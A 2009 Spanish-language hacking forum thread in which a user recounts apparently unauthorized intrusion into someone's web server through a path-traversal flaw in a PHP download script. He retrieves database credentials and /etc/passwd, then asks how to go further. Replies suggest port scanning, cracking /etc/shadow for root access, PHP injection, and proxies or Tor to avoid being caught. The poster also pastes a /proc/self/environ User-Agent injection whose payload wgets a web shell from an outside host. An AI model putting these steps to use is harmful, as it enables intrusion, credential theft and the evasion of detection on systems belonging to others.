elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Java [Guía] Patrones de diseño - Parte 1


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  Vulnerabilidades en PHP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Vulnerabilidades en PHP  (Leído 7,331 veces)
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Vulnerabilidades en PHP
« en: 18 Julio 2009, 05:35 »

Hola, estoy intentando acceder a una BD SQL. Espero que podáis ayudarme.
POR PASOS:

Entro a la web y encuentro el archivo "descargas.php" con el siguiente codigo:
<?
        $ruta=$HTTP_GET_VARS['dir'];
   
   $enlace = "../directorio/".$ruta;

   header ("Content-Disposition: attachment; filename=".$ruta."\n\n");
   header ("Content-Type: application/octet-stream");
   header ("Content-Length: ".filesize($enlace));
   readfile($enlace);
?>

Con lo cual haciendo:
http://www.servidor.com/descargas.php?dir=../../conectarsql.php

Consigo bajar el código del archivo conectarsql.php:

<?
$dbh=mysql_connect ("localhost", "usuario", "contraseña") or die ('Imposible conectar porque: ' . mysql_error());
mysql_select_db ("basededatos",$dbh);
?>

Ahora ya tengo la base de datos, el usuario y la contraseña.
Hago un ping a www.servidor.com y ya tengo la IP del servidor también.

Y ahora que tengo todo viene la gran pregunta:
¿Cómo me conecto remotamente a esa B.D.?
¿Es posible el acceso remoto a la base de datos SQL?
¿$enlace = "../directorio/".$ruta; todavía me vale para robar algun archivo más que no sea el passwd ni los logs porque no tengo permiso para ello?

Espero que podáis echarme una mano con esto. Gracias
En línea

Monkito

Desconectado Desconectado

Mensajes: 36


COGITO ERGO SUM


Ver Perfil
humm,
« Respuesta #1 en: 18 Julio 2009, 07:15 »

-pensemos..
« Última modificación: 18 Julio 2009, 07:28 por Monkito » En línea

El monopolio vive gracias a la mediocridad de la publicidad barata, está en las mentes hacer valer las cosas por lo que son y no por lo que aparentan...
Monkito

Desconectado Desconectado

Mensajes: 36


COGITO ERGO SUM


Ver Perfil
El tema es algo complicado
« Respuesta #2 en: 18 Julio 2009, 07:27 »

El código indica que el servidor de base de datos es el mismo servidor web, en tal caso sólo bastaría tener en el my.conf el atributo bind-address=127.0.0.1 para que nunca te puedas conectar vía remota..

Código:
$dbh=mysql_connect ("localhost", "usuario", "contraseña") or die ('Imposible conectar porque: ' . mysql_error());
mysql_select_db ("basededatos",$dbh);

En todo caso usa nmap para averiguar si la ip que tienes tiene accesible el 3306, y esperemos que siga siendo ese y no lo hayan cambiado sino nos toca buscarlo en los 65535 puertos   :huh:

Para acceder a esa base de datos se me ocurre:

- 1, con php-injection
- 1.a algún archivo.php creado por ti para manejar esa BD.
- 1.b alguna forma de obtener shell remota.
- 1.c ver que versión de SO tiene para buscar algun exploit.
- 1.d etc etc etc

- 2 Si el servidor web no hace chroot puedes descargar el /etc/password o /etc/shadow para tratar de crakear la clave del root, aunque parezca imposible muchos admins usan claves fáciles..., luego de eso tratar de acceder via ssh.

-
En línea

El monopolio vive gracias a la mediocridad de la publicidad barata, está en las mentes hacer valer las cosas por lo que son y no por lo que aparentan...
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: Vulnerabilidades en PHP
« Respuesta #3 en: 13 Octubre 2009, 21:06 »

Monkito, eres un fenómeno!
Acabo de echar un vistazo al my.cnf y dice que:

# localhost which is more compatible and is not less secure.
bind-address      = 127.0.0.1

Así que al menos ya se que me puedo ir olvidando de conectarme remotamente.

Lo del /etc/passwd ya lo había hecho y me devolvió el fichero de contraseñas. Pero no aparece la contraseña porque están en shadow, así que me intenté bajar el fichero shadow pero no me deja (mira tú para qué inventaron el fichero shadow) :-(

Podría intentar conectarme con un cliente FTP y con un usuario de esos por defecto que hay en el /etc/passwd, porque su servidor FTP usa el /etc/passwd para ver si puedes o no conectarte. El problema es que me acojonan los logs del servidor FTP y no me atrevo a entrar;
solo se que no se nada de lo que hay ahí dentro xD.

Supongo que podría hacer una inyeccion php para que me devuelva una shell al servidor, tengo que ver eso, voy a googlear un poco.

Muchas gracias por comentar y dedicarme tu tiempo!! saludos
« Última modificación: 13 Octubre 2009, 21:08 por SnakingMax » En línea

@ohk


Desconectado Desconectado

Mensajes: 1.732


Yo lo que quiero que me salga bien es la vida.


Ver Perfil WWW
Re: Vulnerabilidades en PHP
« Respuesta #4 en: 13 Octubre 2009, 21:49 »

Dios!

Como es que consigues bajar un archivo .php y ver los datos de conexión.
Necesito info, al parecer soy muy No0b :(

:¬¬
En línea

Y es que a veces pienso que si no estuviera loco no podría salir adelante.
Lo que no se es capaz de dar, en realidad no se posee, uno es poseído por ello.
Jubjub


Desconectado Desconectado

Mensajes: 708


Lay Ladie lay,...


Ver Perfil WWW
Re: Vulnerabilidades en PHP
« Respuesta #5 en: 13 Octubre 2009, 22:26 »

<?
        $ruta=$HTTP_GET_VARS['dir'];
   
   $enlace = "../directorio/".$ruta;

   header ("Content-Disposition: attachment; filename=".$ruta."\n\n");
   header ("Content-Type: application/octet-stream");
   header ("Content-Length: ".filesize($enlace));
   readfile($enlace);
?>

:¬¬ :¬¬ :¬¬ :¬¬ :¬¬ :¬¬ :¬¬ :¬¬ :¬¬

:P solamente una falla LFI
En línea

Jugando con Fósforoshacking con un tono diferente


.
porno
WHK
吴阿卡
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.834


The Hacktivism is not a crime


Ver Perfil WWW
Re: Vulnerabilidades en PHP
« Respuesta #6 en: 14 Octubre 2009, 00:08 »

Citar
# localhost which is more compatible and is not less secure.
bind-address      = 127.0.0.1
Claro, no puedes conectarte remotamente, esa falla de seguridad que tiene el servidor es LFI y file disclosure solamente y no puedes obtener los .frm de la base de datos mysql por muy localhost que sea ya que ese directorio tiene permisos por defecto que te van a denegar su lectura por lo tanto no te queda otra que buscar otras vulnerabilidades como para poder hacer inyección SQL y hacer dump a la base de datos o intentarle subir algo para hacer el dump igual.

En línea

braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: Vulnerabilidades en PHP
« Respuesta #7 en: 14 Octubre 2009, 18:08 »

Pero podiendo ver el código de todas las aplicaciones seguro que encuentras alguna vulnerabilidad.
Podrías entrar por ftp a través de algún proxy anónimo y así es improbable que te pillen.
En línea

SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: Vulnerabilidades en PHP
« Respuesta #8 en: 15 Octubre 2009, 05:52 »

Gracias a todos por la ayuda.
Tienes razón OHK sería mejor que buscase otras vulnerabilidades, tengo acceso al /etc/passwd y eso me dice bastante de las aplicaciones que tiene instaladas. (y de los usuarios todo menos la contraseña, hay que jod¿¡#$1J&)
También tengo acceso a su version de linux y otros datos interesantes para buscar vulnerabiliades nuevas.

Con LFI solo me queda probar algo similar a esto que encontré en google (para conseguir shell remota como dijo Monkito):
-----------------------------------------
Now let's inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
    Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :
    
      www.website.com/view.php?page=../../../../../proc/self/environ
      
     Choose Tamper and in User-Agent filed write the following code :
    
        <?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?>
        
    Then submit the request.
    
     Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt and will save it as shell.php in the
website directory) through system(), and our shell will be created.If don't work,try exec() because system() can be disabled on the webserver from php.ini.
-------------------------------------------

Después trataré de buscar nuevas vulnerabilidades como dices OHK.

Braulio23, lo del proxy casi que lo dejo como última opción. De todas maneras gracias braulio23, es bueno tener en cuenta todas las posibilidades, y en último caso podría conectarme haciendo un tunel con la red TOR....
En línea

kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.219


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: Vulnerabilidades en PHP
« Respuesta #9 en: 15 Octubre 2009, 13:09 »

Ese método del que hablas está bastante bien explicado y en castellano en esta página:

http://hacking-avanzado.blogspot.com/2009/09/pen-testing-como-conseguir-una-shell.html
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
VULNERABILIDADES
Bugs y Exploits
moskita789 4 2,536 Último mensaje 20 Diciembre 2012, 23:11
por Jaes
Vulnerabilidades XSS
Seguridad
AleBallesta 0 546 Último mensaje 21 Febrero 2015, 20:36
por AleBallesta
Vulnerabilidades ;)
Nivel Web
in2c0de 1 1,142 Último mensaje 26 Octubre 2015, 20:57
por WHK
Vulnerabilidades en WPA TPIK
Hacking Wireless
DamnSystem 5 1,196 Último mensaje 25 Mayo 2017, 19:05
por DamnSystem
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines